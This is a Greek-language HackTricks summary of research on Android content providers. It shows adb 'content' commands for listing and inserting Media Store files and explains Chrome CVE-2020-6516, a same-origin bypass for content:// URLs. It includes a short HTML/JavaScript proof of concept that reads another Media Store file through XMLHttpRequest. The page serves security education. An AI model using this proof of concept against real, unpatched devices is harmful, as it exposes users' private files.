tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή είναι μια περίληψη της ανάρτησης https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Καταγραφή Αρχείων στο Media Store

Για να καταγράψετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:

bash
$ content query --uri content://media/external/file

Για μια πιο φιλική προς τον χρήστη έξοδο, εμφανίζοντας μόνο τον αναγνωριστικό και τη διαδρομή κάθε ευρετηριασμένου αρχείου:

bash
$ content query --uri content://media/external/file --projection _id,_data

Οι παροχείς περιεχομένου είναι απομονωμένοι στον δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν παροχέα απαιτεί το συγκεκριμένο content:// URI. Πληροφορίες σχετικά με τις διαδρομές πρόσβασης σε έναν παροχέα μπορούν να αποκτηθούν από τα μανιφέστα εφαρμογών ή τον πηγαίο κώδικα του Android framework.

Η Πρόσβαση του Chrome στους Παροχείς Περιεχομένου

Ο Chrome στο Android μπορεί να έχει πρόσβαση στους παροχείς περιεχομένου μέσω του σχήματος content://, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το εικονογραφήσουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να προσπελαστεί μέσω του Chrome:

Εισάγετε μια προσαρμοσμένη καταχώρηση στο Media Store:

bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ανακαλύψτε τον αναγνωριστικό του νεοεισαχθέντος αρχείου:

bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας μια διεύθυνση URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.

Για παράδειγμα, για να καταγράψετε αρχεία που σχετίζονται με μια συγκεκριμένη εφαρμογή:

bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Παράκαμψη Πολιτικής Ίδιων Προελεύσεων

Η Πολιτική Ίδιων Προελεύσεων (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και πλαστογράφησης αιτημάτων από άλλες τοποθεσίες. Ο Chrome θεωρεί το content:// ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.

Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL content://. Στην πράξη, ο κώδικας JavaScript από ένα URL content:// μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL content://, γεγονός που ήταν σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις πριν από το Android 10, όπου η περιορισμένη αποθήκευση δεν είχε εφαρμοστεί.

Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού ανέβει κάτω από /sdcard και προστεθεί στο Media Store, χρησιμοποιεί XMLHttpRequest στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.

Απόδειξη της Έννοιας HTML:

xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks